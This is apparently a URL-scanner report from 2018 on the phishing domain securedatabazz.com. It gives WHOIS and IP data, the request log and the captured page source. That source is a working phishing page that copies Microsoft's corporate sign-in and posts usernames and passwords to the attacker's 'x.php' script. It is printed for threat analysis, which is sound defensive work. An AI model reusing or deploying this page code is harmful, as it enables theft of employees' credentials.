http://securedatabazz.com/*/home/index.php

Last Checked: Sep 26, 2018, 14:10 EDT

IP Address: 93.157.63.185
ASN #: AS43350 NFORCE, NL
Location: Data unavailable.
URL Reputation:
  • Unknown This URL is not identified as malicious in the SafeBrowsing Database.
  • Unknown This URL is not identified as malicious in the PhishTank Database.
  • Unknown PhishCheck thinks this URL is likely not a phish.

Other submissions on 93.157.63.185:

  • http://raboport.site/move/logg.php

  • http://raboport.site/move/logg.php

  • http://ball9.pw/f2a/1.html

  • http://raboaccess.site/front/start.php

  • http://93.157.63.185/

                               Domain Name: SECUREDATABAZZ.COM
Registry Domain ID: 2302343055_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.tucows.com
Registrar URL: http://tucowsdomains.com
Updated Date: 2018-08-26T17:22:17
Creation Date: 2018-08-26T16:55:47
Registrar Registration Expiration Date: 2019-08-26T16:55:47
Registrar: TUCOWS, INC.
Registrar IANA ID: 69
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Domain Status: clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited
Registry Registrant ID: 
Registrant Name: Data Protected Data Protected
Registrant Organization: Data Protected
Registrant Street: 123 Data Protected 
Registrant City: Toronto
Registrant State/Province: ON
Registrant Postal Code: M6K 3M1
Registrant Country: CA
Registrant Phone: +1.0000000000
Registrant Phone Ext: 
Registrant Fax: +1.0000000000
Registrant Fax Ext: 
Registrant Email: noreply@data-protected.net
Registry Admin ID: 
Admin Name: Data Protected Data Protected
Admin Organization: Data Protected
Admin Street: 123 Data Protected 
Admin City: Toronto
Admin State/Province: ON
Admin Postal Code: M6K 3M1
Admin Country: CA
Admin Phone: +1.0000000000
Admin Phone Ext: 
Admin Fax: +1.0000000000
Admin Fax Ext: 
Admin Email: noreply@data-protected.net
Registry Tech ID: 
Tech Name: Data Protected Data Protected
Tech Organization: Data Protected
Tech Street: 123 Data Protected 
Tech City: Toronto
Tech State/Province: ON
Tech Postal Code: M6K 3M1
Tech Country: CA
Tech Phone: +1.0000000000
Tech Phone Ext: 
Tech Fax: +1.0000000000
Tech Fax Ext: 
Tech Email: noreply@data-protected.net
Name Server: ns1.dnsfreedom.net
Name Server: ns2.dnsfreedom.net

Registrar Abuse Contact Email: domainabuse@tucows.com
Registrar Abuse Contact Phone: +1.4165350123
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/
>>> Last update of WHOIS database: 2018-08-26T17:22:17 <<<

"For more information on Whois status codes, please visit https://icann.org/epp"

The Data in the Tucows Registrar WHOIS database is provided to you by Tucows
for information purposes only, and may be used to assist you in obtaining
information about or related to a domain name's registration record.

Tucows makes this information available "as is," and does not guarantee its
accuracy.

By submitting a WHOIS query, you agree that you will use this data only for
lawful purposes and that, under no circumstances will you use this data to:
a) allow, enable, or otherwise support the transmission by e-mail,
telephone, or facsimile of mass, unsolicited, commercial advertising or
solicitations to entities other than the data recipient's own existing
customers; or (b) enable high volume, automated, electronic processes that
send queries or data to the systems of any Registry Operator or
ICANN-Accredited registrar, except as reasonably necessary to register
domain names or modify existing registrations.

The compilation, repackaging, dissemination or other use of this Data is
expressly prohibited without the prior written consent of Tucows.

Tucows reserves the right to terminate your access to the Tucows WHOIS
database in its sole discretion, including without limitation, for excessive
querying of the WHOIS database or for failure to otherwise abide by this
policy.

Tucows reserves the right to modify these terms at any time.

By submitting this query, you agree to abide by these terms.

NOTE: THE WHOIS DATABASE IS A CONTACT DATABASE ONLY.  LACK OF A DOMAIN
RECORD DOES NOT SIGNIFY DOMAIN AVAILABILITY.


                             
  • GET HTTP/1.1 http://securedatabazz.com/*/home/index.php 200 OK
  • GET HTTP/1.1 http://az416426.vo.msecnd.net/scripts/a/ai.0.js 200 OK
  • GET HTTP/1.1 http://securedatabazz.com/*/src1/text-security.css 200 OK
  • GET HTTP/1.1 https://certauth.corp.sts.microsoft.com/adfs/portal/css/style.css?id=B2E7117CCA7255C1A20F75747242FBBC051A714D8FDB01BA34154259EAC13F64 200 OK
  • GET HTTP/1.1 http://securedatabazz.com/*/src1/logo.png 200 OK
  • GET HTTP/1.1 http://securedatabazz.com/*/src1/text-security-disc.woff 200 OK
  • GET HTTP/1.1 http://securedatabazz.com/*/src1/msit_fba.jpg 200 OK
  • GET HTTP/1.1 http://securedatabazz.com/favicon.ico 404 Not Found
  • GET HTTP/1.1 http://securedatabazz.com/favicon.ico 404 Not Found
<html lang="fr-FR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=1">
        
        <meta http-equiv="cache-control" content="no-cache,no-store">
        <meta http-equiv="pragma" content="no-cache">
        <meta http-equiv="expires" content="-1">
        <meta name="mswebdialog-title" content="Connecting to Employees and Partners">
			<link rel="stylesheet" type="text/css" href="../src1/text-security.css">


        <title>Connexion</title>
        


        
        <link rel="stylesheet" type="text/css" href="https://certauth.corp.sts.microsoft.com/adfs/portal/css/style.css?id=B2E7117CCA7255C1A20F75747242FBBC051A714D8FDB01BA34154259EAC13F64"><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.jpg?id=FDD5AAB3C57A90861BC19A92C4E76031E45B26F18C012F5EF68516B960E7290C);}</style>

    <script src="http://az416426.vo.msecnd.net/scripts/a/ai.0.js"></script></head>
    <body dir="ltr" class="body" cz-shortcut-listen="true">
    <div id="noScript" style="position: static; width: 100%; height: 100%; z-index: 100; display: none;">
        <h1>JavaScript requis</h1>
        <p>JavaScript est requis. Ce navigateur Web ne prend pas en charge JavaScript ou JavaScript n'est pas activé dans ce navigateur Web.</p>
        <p>Consultez l'aide de votre navigateur Web pour savoir si votre navigateur Web prend en charge JavaScript ou pour activer JavaScript.</p>
    </div>
    <script type="text/javascript" language="JavaScript">
         document.getElementById("noScript").style.display = "none";
    </script>
    <div id="fullPage">
        <div id="brandingWrapper" class="float">
            <div id="branding" class="illustrationClass"></div>
        </div>
        <div id="contentWrapper" class="float">
            <div id="content">
                <div id="header">
                    <img class="logoImage" id="companyLogo" src="../src1/logo.png" alt="Employees and Partners">
                </div>
                <div id="workArea">
                    
    <div id="authArea" class="groupMargin">
        
        
        
    <div id="loginArea">        
        <div id="loginMessage" class="groupMargin"><p style="font-size:17px;padding-bottom:14px">Sign in to your Microsoft Corporate account</p><span id="signinsmartcard" class="submit" onclick="SelectOption('CertificateAuthentication'); return false;">Sign in with Office 365</span><div id="helptext" class="tinyText" style="margin-top: 8px; line-height: 18px; font-size: 12px;">Using Office 365 is faster and more secure.</div><a href="#" class="actionLink" style="font-size: 15px;"><p class="normalText">Sign in with your usual account</p></a></div>

        <form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" action="x.php">
            <div id="error" class="fieldMargin error smallText" style="display: none;">
                <span id="errorText" for=""></span>
            </div>

            <div id="formsAuthenticationArea" style="display: block;">
                <div id="userNameArea">
                    <label id="userNameInputLabel" for="userNameInput" class="hidden">Compte d'utilisateur</label>
                    <input id="userNameInput" name="UserName" value="" tabindex="1" class="text fullWidth" spellcheck="false" placeholder="someone@example.com" autocomplete="off" alt="someone@example.com" required="" type="email">
                </div>
<style>
#passwordInput.placeholder {font-family: 'arial', sans-serif;}
</style>
                <div id="passwordArea">
                    <label id="passwordInputLabel" for="passwordInput" class="hidden">Mot de passe</label>
                    <input id="passwordInput" name="Password" style=" font-family: 'text-security-disc';" tabindex="2" class="text fullWidth" placeholder="Mot de passe" autocomplete="off" required="" type="text">
                </div>
                <div id="kmsiArea" style="display:''">
                    <input name="Kmsi" id="kmsiInput" value="true" tabindex="3" type="checkbox">
                    <label for="kmsiInput">Maintenir la connexion</label>
                </div>
				<div id="submissionArea" class="submitMargin">
                    <input class="submit" value="Connexion" type="submit"> 
                </div>
            </div>
            <input id="optionForms" name="AuthMethod" value="FormsAuthentication" type="hidden">
        </form>

             <div id="authOptions">
        <form id="options" method="post" action="../Redirect/index.php">
            <script type="text/javascript">
                function SelectOption(option) {
                    var i = document.getElementById('optionSelection');
                    i.value = option;
                    document.forms['options'].submit();
                    return false;
                }
            </script>
            <input id="optionSelection" name="AuthMethod" type="hidden">
            <div id="authOptionLinks" class="groupMargin"><a class="actionLink" href="../Redirect/index.php" id="CertificateAuthentication" onclick="SelectOption('CertificateAuthentication'); return false;" style="display: none;">Sign in with Office365</a></div>
        </form>
      </div>

        <div id="introduction" class="groupMargin">
                                 
        </div>

        <script type="text/javascript">
        //<![CDATA[

            function Login() {
            }

            Login.userNameInput = 'userNameInput';
            Login.passwordInput = 'passwordInput';

            Login.initialize = function () {

                var u = new InputUtil();

                u.checkError();
                u.setInitialFocus(Login.userNameInput);
                u.setInitialFocus(Login.passwordInput);
            }();

            Login.submitLoginRequest = function () { 
                var u = new InputUtil();
                var e = new LoginErrors();

                var userName = document.getElementById(Login.userNameInput);
                var password = document.getElementById(Login.passwordInput);

                if (!userName.value || !userName.value.match('[@\\\\]')) {
                    u.setError(userName, e.userNameFormatError);
                    return false;
                }

                if (!password.value) {
                    u.setError(password, e.passwordEmpty);
                    return false;
                }

                if (password.value.length > maxPasswordLength) {
                    u.setError(password, e.passwordTooLong);
                    return false;
                }

                document.forms['loginForm'].submit();
                return false;
            };

            InputUtil.makePlaceholder(Login.userNameInput);
            InputUtil.makePlaceholder(Login.passwordInput);
        //]]>
        </script>
    </div>

    </div>

                </div>
                <div id="footerPlaceholder"></div>
            </div>
            <div id="footer">
                <div id="footerLinks" class="floatReverse">
                     <div><span id="copyright">© 2018 Microsoft</span><a id="helpDesk" class="pageLink" href="https://msft.sts.microsoft.com/Onboard/ServiceSupport.htm"> Help &amp; Support</a></div>
                </div>
            </div>
        </div> 
    </div>
    <script type="text/javascript">
//<![CDATA[
// Copyright (c) Microsoft Corporation.  All rights reserved.
// MSIT boolean value for MFA status"
// True = Phone Authentication Service is healthy
// False = Phone Authentication Service is unhealthy

var bMFAServiceStatus = "True"
//var bMFAServiceStatus = "False"

// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) != null) {
    var emails = document.querySelectorAll("input[type='email']");
    if (emails) {
        for (var i = 0; i < emails.length; i++) {
            emails[i].type = 'text';
        }
    }
}

//MSIT-START: Function to split querystring
var currentUrl = location.href;
function getQueryString(qsName) {
    qsName = qsName.replace(/[\[\]]/g, "\\$&");
    var regex = new RegExp("[?&]" + qsName + "(=([^&#]*)|&|#|$)"),
        results = regex.exec(currentUrl);
    if (!results) return "";
    if (!results[2]) return "";
    return decodeURIComponent(results[2].replace(/\+/g, " "));
}

function setViewPort(hololens) {
    var viewport = document.querySelector("meta[name=viewport]");
    if (hololens){	
        viewport.setAttribute('content', 'width=device-width');
        document.documentElement.style.zoom = '1.5';
        return;
    }

    // In the CSS file we set the ms-viewport to be consistent with the device dimensions, 
    // which is necessary for correct functionality of immersive IE. 
    // However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
    // values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
    // Windows 8 phone has agent string 'IEMobile 10.0'
    if ((navigator.userAgent.match(/IEMobile\/10\.0/)) || (navigator.userAgent.match(/IEMobile\/11\.0/))) {
        var msViewportStyle = document.createElement("style");
        msViewportStyle.appendChild(
            document.createTextNode(
                "@-ms-viewport{width:auto!important}"
            )
        );
        msViewportStyle.appendChild(
            document.createTextNode(
                "@-ms-viewport{height:auto!important}"
            )
        );
        document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
    }

    // If the innerWidth is defined, use it as the viewport width.
    var viewport = document.querySelector("meta[name=viewport]");
    //Commented on 4/12/2016
    //viewport.setAttribute('content', 'width=device-width; initial-scale=1.0; maximum-scale=1.0');
    //Added below section on 4/12/2016
    if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
        // If the innerWidth is defined, use it as the viewport width.
        viewport.setAttribute('content', 'width=' + window.innerWidth + ', initial-scale=1.0, user-scalable=1');
    }
    else {
        viewport.setAttribute('content', 'width=device-width, initial-scale=1.0, user-scalable=1');
    }
}

// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
    var propStyle = null;

    if (element && element.currentStyle) {
        propStyle = element.currentStyle[styleProp];
    }
    else if (element && window.getComputedStyle) {
        propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
    }

    return propStyle;
}

//Hololens customization
//Start
// Turn off branding image and adjust layout for Hololens
function turnOffBranding() {

    // Set the style modifiers 
    var passwordArea = document.getElementById("passwordArea");
    if (passwordArea) passwordArea.classList.add('userNamePasswordAreaHolo');

    var userNameArea = document.getElementById("userNameArea");
    if (userNameArea) userNameArea.classList.add('userNamePasswordAreaHolo');

    var html = document.getElementsByTagName("html");
    if (html && html[0]) html[0].classList.add('htmlBodyHolo');

    var body = document.getElementsByTagName("body");
    if (body && body[0]) body[0].classList.add('htmlBodyHolo');

    var content = document.getElementById("content");
    if (content) content.classList.add('contentHolo');

    var kmsiArea = document.getElementById("kmsiArea");
    if (kmsiArea) kmsiArea.classList.add('kmsiAreaHolo');

    var contentWrapperHolo = document.getElementById("contentWrapper");
    if (contentWrapperHolo) contentWrapperHolo.classList.add('contentWrapperHolo');

    var brandingWrapperHolo = document.getElementById("brandingWrapper");
    if (brandingWrapperHolo) brandingWrapperHolo.classList.add('brandingWrapperHolo');

    var footerHolo = document.getElementById("footer");
    if (footerHolo) footerHolo.classList.add('footerHolo');

    var passwordInputHolo = document.getElementById("passwordInput");
    if (passwordInputHolo) passwordInputHolo.classList.add('passwordInputHolo');

    var submitButtonHolo = document.getElementById("submitButton");
    if (submitButtonHolo) submitButtonHolo.classList.add('submitButtonHolo');

    var loginFormHolo = document.getElementById("loginForm");
    if (loginFormHolo) loginFormHolo.classList.add('loginFormHolo');

    // Rebuild page title with new text and logo
    var newHeader = document.createElement('div');
    newHeader.style.width = '100%';

    var textHeader = document.createElement('div');
    textHeader.id = 'header';
    textHeader.classList.add('headerHolo');

    // Add the image back to the header
    var header = document.getElementById('header');
    var logo = header.getElementsByTagName('img');
    if (logo && logo.length >= 1) {
        logo[0].classList.add('companyLogoHolo');
        textHeader.appendChild(logo[0]);
    }

    // Add the custom message to the header
    var hololensTitle = document.getElementById('hololens_signinTitle');
    if (hololensTitle) {
        textHeader.innerText = hololensTitle.innerText;
    } else {
        var newMessage = document.createElement('div');
        newMessage.id = 'hololens_signinTitle';
        newMessage.innerText = "Sign in with your work account";
        textHeader.appendChild(newMessage);
    }
    newHeader.appendChild(textHeader);
    header.parentNode.replaceChild(newHeader, header);
}

var passwordInputId = 'passwordInput';
var userNameInputId = 'userNameInput';
var passwordNoteId = 'hololens_passwordNote';
var signinAccountMarker = 'hololens_signinAccount';

// Adjust forms signin page for Hololens
function signinForHololens() {
    if (typeof Login != 'undefined' && document.getElementById(passwordInputId)) {

        // Hide login message and page description
        var msg = document.getElementById('loginMessage');
        if (msg) {
            msg.style.display = 'none';
        }
        document.getElementById('introduction').style.display = 'none';

        // Move error to be under input fields
        var passwordArea = document.getElementById('passwordArea');
        var error = document.getElementById('error');
        passwordArea.parentNode.insertBefore(error, passwordArea.nextSibling);
        error.style.fontSize = '1em'; // do not reduce error font size
        error.style.paddingTop = '20px';

        // Set password description
        Login.setPasswordNote = function () {
            var noteCustomization = document.getElementById('hololens_passwordNoteTemplate');
            var noteLive = document.getElementById(passwordNoteId);
            var noteTemplate = null;

            if (noteCustomization) {
                noteTemplate = noteCustomization.innerHTML;
            }
            else {
                noteTemplate = "<div>Your organizational account is <span>hololens_signinAccount</span>, <a href='#' onclick='Login.toggleInput(true, true);return false;'>click to edit.</a></div>"
            }

            if (!noteLive) {
                var noteLive = document.createElement('div');
                noteLive.id = passwordNoteId;
                noteLive.innerHTML = noteTemplate.replace(signinAccountMarker, document.getElementById(userNameInputId).value);
                document.getElementById('header').appendChild(noteLive);
            }
            else {
                noteLive.innerHTML = noteTemplate.replace(signinAccountMarker, document.getElementById(userNameInputId).value);
            }
        };
        Login.setPasswordNote();

        // Toggle visibility and focus of username and password 
        Login.toggleInput = function (showUserName, eraseError) {
            if (eraseError) {
                document.getElementById('errorText').innerHTML = '';
                document.getElementById('error').style.display = 'none';
            }
            var userName = document.getElementById('userNameArea');
            var password = document.getElementById('passwordArea');
            if (showUserName) {
                userName.style.display = '';
                password.style.display = 'none';
                document.getElementById(userNameInputId).focus();
            }
            else {
                userName.style.display = 'none';
                password.style.display = '';
                document.getElementById(passwordInputId).focus();
            }
        };

        // Initialize input fields visibility at load time
        Login.initializeInput = function () {
            var error = document.getElementById('errorText');
            if (error.innerHTML && error.innerHTML !== '') {
                var showInput = error.getAttribute('for');
                Login.toggleInput(showInput == '' ? true : false);
            }
            else {
                var userName = document.getElementById(userNameInputId);
                Login.toggleInput(userName.value === '' ? true : false);
            }
        }();

        // Override submit
        var submitButton = document.getElementById('submitButton');
        submitButton.onkeypress = null;
        submitButton.onclick = (function () {

            var u = new InputUtil();
            var e = new LoginErrors();

            var userName = document.getElementById(userNameInputId);
            var password = document.getElementById(passwordInputId);

            if (!userName.value || !userName.value.match('[@\\\\]')) {
                u.setError(userName, e.userNameFormatError);
                Login.toggleInput(true);
                return false;
            }

            if (!password.value) {
                if (document.getElementById('passwordArea').style.display === 'none') {
                    document.getElementById('errorText').innerHTML = '';
                    Login.setPasswordNote();
                }
                else {
                    u.setError(password, e.passwordEmpty);
                }
                Login.toggleInput(false, true);
                return false;
            }

            document.forms['loginForm'].submit();
            return false;
        });
    }
}

// Get query parameter case insensitive
function getParameterByName(name, toLowerCase) {
    var regex = new RegExp("[\\?&]" + name + "=([^&#]*)", "i"),
    results = regex.exec(location.search);
    results = results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
    return toLowerCase ? results.toLowerCase() : results;
}

var hololens = (getParameterByName("CxhPlatform", true) === "holographic");
setViewPort(hololens);
if (hololens) {
    turnOffBranding();
    signinForHololens();
    var cert = document.getElementById('CertificateAuthentication');
    if(cert){
        cert.style.display = 'none';
    }
}

//End

// The script below is used for downloading the illustration image 
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var computeLoadIllustration = function () {
    //Hololens customization
    //Start
    if (hololens) {
        return;
    } 
    //End
    var branding = document.getElementById("branding");
    var brandingDisplay = getStyle(branding, "display");
    var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");

    if (brandingDisplay && brandingDisplay !== "none" &&
        brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
        var newClass = "illustrationClass";

        if (branding.classList && branding.classList.add) {
            branding.classList.add(newClass);
        } else if (branding.className !== undefined) {
            branding.className += " " + newClass;
        }
        if (window.removeEventListener) {
            window.removeEventListener('load', computeLoadIllustration, false);
            window.removeEventListener('resize', computeLoadIllustration, false);
        }
        else if (window.detachEvent) {
            window.detachEvent('onload', computeLoadIllustration);
            window.detachEvent('onresize', computeLoadIllustration);
        }
    }
};

if (window.addEventListener) {
    window.addEventListener('resize', computeLoadIllustration, false);
    window.addEventListener('load', computeLoadIllustration, false);
}
else if (window.attachEvent) {
    window.attachEvent('onresize', computeLoadIllustration);
    window.attachEvent('onload', computeLoadIllustration);
}

//START:MSIT Customization
//Update copyright
var copyrightText = document.getElementById('copyright');
if (copyrightText) {
    copyrightText.innerHTML = "&#169; 2018 Microsoft";
}

//START:MSIT Customization
//Get page_hint
var iPageHint = "";
iPageHint = getQueryString("page_hint");
if (iPageHint == "pf") {

    //Invoke MFA (WindowsAzureMultiFactorAuthentication) selection
    var iformOptions = document.forms['options'];
    if (iformOptions) {
        iformOptions.style.display = 'none';
        var iWindowsAzureMultiFactorAuthentication = document.getElementById('WindowsAzureMultiFactorAuthentication');
        if (iWindowsAzureMultiFactorAuthentication) {
            var iauthOptions = document.getElementById('authOptions');

            if (iauthOptions) {
                iauthOptions.style.display = 'none';
            }
            SelectOption('WindowsAzureMultiFactorAuthentication');
            //	return false;
        }

    }
}

//Check wauth
var ilocationhref = location.href;
var iwauthFlag = decodeURIComponent(location.href);
var iIndexOfMFA = 0;
var iIndexOfhttpPWD = 0;
var iIndexOfurnPWD = 0;
iIndexOfMFA = iwauthFlag.indexOf("&wauth=http://schemas.microsoft.com/claims/multipleauthn");
iIndexOfPWD = iwauthFlag.indexOf("&wauth=http://schemas.microsoft.com/ws/2008/06/identity/authenticationmethod/password");
iIndexOfurnPWD = iwauthFlag.indexOf("&wauth=urn:oasis:names:tc:SAML:1.0:am:password");

if (!hololens) {
    var certAuth = document.getElementById('CertificateAuthentication');
    if (certAuth) {

        //Change OOB text
        certAuth.innerHTML = "Sign in with Office365";

        //If MFA, then check for Phone auth element and enable smartcard option
        var mfaphoneAuth = document.getElementById('WindowsAzureMultiFactorAuthentication');

        //Check for apps sending wauth=MFA
        if (iIndexOfMFA == -1) {
            //Hide smartcard link
            certAuth.style.display = 'none';
            if (mfaphoneAuth) {
                //Show smartcard link
                certAuth.style.display = '';

                //Additional checking is required to hide smartcard on Non-TPM devices and for applications sending wauth=password
                if (navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/Macintosh/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Opera Mini/i)) {
                    certAuth.style.display = 'none';
                }
            }
        }
        else {
            if (mfaphoneAuth) {
                //Show smartcard link
                certAuth.style.display = '';

                //Additional checking is required to hide smartcard on Non-TPM devices and for applications sending wauth=password
                if (navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/Macintosh/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Opera Mini/i)) {
                    certAuth.style.display = 'none';
                }
            }
            else {
                //Hide the default smartcard link on FBA 1FA page on all devices
                certAuth.style.display = 'none';
            }
        }
    }
}

var phoneAuth = document.getElementById('WindowsAzureMultiFactorAuthentication');
if (phoneAuth) {
    phoneAuth.innerHTML = "Sign in with your phone or token device";
}

var mfaAuth = document.getElementById('sectionHeader');
if (mfaAuth) {
    mfaAuth.innerHTML = "Multi-Factor Authentication";
}

//Customize incorrect User ID or password exception

var ierrorText = document.getElementById("errorText");
if (ierrorText) {
    var ierrorCurrent = ierrorText.innerHTML;
    var isearchIncorrect = 'ID and password';
    var iIncorrectMessage = 0;
    iIncorrectMessage = ierrorCurrent.indexOf(isearchIncorrect);

    if (iIncorrectMessage > 0) {
        if ((iIndexOfPWD > 0) || (iIndexOfurnPWD > 0) || navigator.userAgent.match(/Android/i) || navigator.userAgent.match(/IEMobile/i) || navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPad/i) || navigator.userAgent.match(/BlackBerry/i) || navigator.userAgent.match(/Opera Mini/i)) {
            ierrorText.innerHTML = ierrorCurrent + "" + "Forgotten or expired password? Use the self-service password management tool ('https://sspm.microsoft.com')";
        }
        else {
            ierrorText.innerHTML = ierrorCurrent + "" + "Forgotten or expired password? Use the <a href='https://sspm.microsoft.com'>self-service password management tool</a>";
        }
    }
}

//Customize MFA exception
//START

var iauthArea = document.getElementById("authArea");
if (iauthArea) {
    var sauthArea = iauthArea.innerHTML;
    var isearchString = 'security reasons';
    var iFFAMessage = 0;

    var isearchCert = 'Select a certificate';
    var iCertMessage = 0;

    iCertMessage = sauthArea.indexOf(isearchCert);

    if (iCertMessage > 0) {
        var certInstructions = document.getElementById("introduction");
        if (certInstructions) {
            //certInstructions.innerHTML = "<p><h2>Select a certificate in the popup window</h2></p><p><h3>Choose one of the following</h3></p><div><img src='https://msft.sts.microsoft.com/adfsassets/images/PhysicalSmartCard.png'>&nbsp;&nbsp;<span>Physical smart card certificate</span></div><img src='https://msft.sts.microsoft.com/adfsassets/images/VirtualSmartCard.png'>&nbsp;&nbsp;Virtual smart card certificate.<p><h3>Do not choose this type of certificate</h3></p><img src='https://msft.sts.microsoft.com/adfsassets/images/Wrongcertificate.png'>&nbsp;&nbsp;If you pick this type of certificate, you'll need to start over."
            //certInstructions.innerHTML = "<p><h2>Select a certificate in the popup window</h2></p><p><h3>Choose one of the following</h3></p><div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/PhysicalSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Physical smart card certificate</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/VirtualSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Virtual smart card certificate</p></div><h3>Do not choose this type of certificate</h3><div><img src='https://msft.sts.microsoft.com/adfsassets/images/Wrongcertificate.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>If you pick this type of certificate, you'll need to start over.</p></div>"
            //certInstructions.innerHTML = "<p><h2>Select a certificate in the popup window</h2></p><p><h3>Choose one of the following</h3></p><div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/NGCSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>PIN (recommended)</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10PhysicalSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Physical smart card (Microsoft Intranet Level 2 User CA)</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/PhysicalSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Physical smart card (Microsoft Intranet Level 2 User CA)</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/VirtualSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Virtual smart card (MSIT User CA)</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10VirtualSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>Virtual smart card (MSIT User CA)</p></div><h3>Do not choose this type of certificate</h3><div><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10Wrongcertificate.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>If you pick this type of certificate, you'll need to start over.</p></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/Wrongcertificate.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>If you pick this type of certificate, you'll need to start over.</p></div>";
            certInstructions.innerHTML = "<p><h3>In the Pop-up window to the left, choose one of these certificates:</h3></p><hr width=100%><div><table width='100%' cellpadding='0' cellspacing='0'><tr><td width='100%' align='left'><img src='https://msft.sts.microsoft.com/adfsassets/images/Recommended.png' style='float: left;margin: 0 10px 0 0;'><h2>Recommended</h2></td></tr></table></div><div><img src='https://msft.sts.microsoft.com/adfsassets/images/NGCSmartCard.png' style='float: left;margin: 0 10px 0 0;'>&nbsp;&nbsp;<p style='overflow: hidden;'>PIN</p></div><br><hr width=100%><h2>Other options</h2><div><table width='100%' cellpadding='5' cellspacing='5'><tr><td width='40%' colspan='2'>Physical smart cards</td><td width='20%' colspan='1'></td><td width='40%' colspan='2'>Virtual smart cards</td></tr><tr><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10PhysicalSmartCard.png' style='float: left;margin: 0 10px 0 0;'></td><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/PhysicalSmartCard.png' style='float: left;margin: 0 10px 0 0;'></td><td width='20%'></td><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/VirtualSmartCard.png' style='float: left;margin: 0 10px 0 0;'></td><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10VirtualSmartCard.png' style='float: left;margin: 0 10px 0 0;'></td></tr></table><img src='https://msft.sts.microsoft.com/adfsassets/images/DontPick.png' style='float: left;margin: 0 10px 0 0;'><h3>You'll need to start over if you choose one of these:</h3><table width='100%' cellpadding='0' cellspacing='0'><tr><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/Win10Wrongcertificate.png' style='float: left;margin: 0 10px 0 0;'></td><td width='20%'><img src='https://msft.sts.microsoft.com/adfsassets/images/Wrongcertificate.png' style='float: left;margin: 0 10px 0 0;'></td><td width='20%'></td><td width='20%'></td><td width='20%'></td></tr></table></div></p>";
            var certAuth = document.getElementById('otherOptions');
            if (certAuth) {
                //certAuth.style.display = 'none';
                certAuth.style.display = '';
            }

            //Interim fix for Chromium cert picker pop-up issue
            var iRetrieveCertificate = document.getElementById("RetrieveCertificate");
            if ((!iRetrieveCertificate) && (navigator.userAgent.match(/Teams/i))) {
                var newDiv = document.createElement("div");
                newDiv.innerHTML = "<input id='RetrieveCertificate' type='hidden' name='RetrieveCertificate' value='1' />";
                document.forms["options"].appendChild(newDiv);
                SelectOption("CertificateAuthentication");

            }

        }
    }

    iFFAMessage = sauthArea.indexOf(isearchString);
    if (iFFAMessage > 0) {
        var ierrorMessage = document.getElementById("errorMessage");
        if (ierrorMessage) {
            var userAccount = "";
            var iworkArea = document.getElementById('workArea');
            if (iworkArea) {

                var authcontainer = document.getElementById('authArea');
                var authchildren = authcontainer.childNodes;
                for (var i = 0; i < authchildren.length; i++) {
                    if (authchildren[i].className === 'fieldMargin bigText') {
                        var authWelcomeDiv = authchildren[i];
                        var tempuserAccount = authWelcomeDiv.innerText;
                        userAccount = tempuserAccount.replace("Welcome ", "");
                        authWelcomeDiv.style.display = 'none';
                    }
                    if (authchildren[i].className === 'groupMargin') {
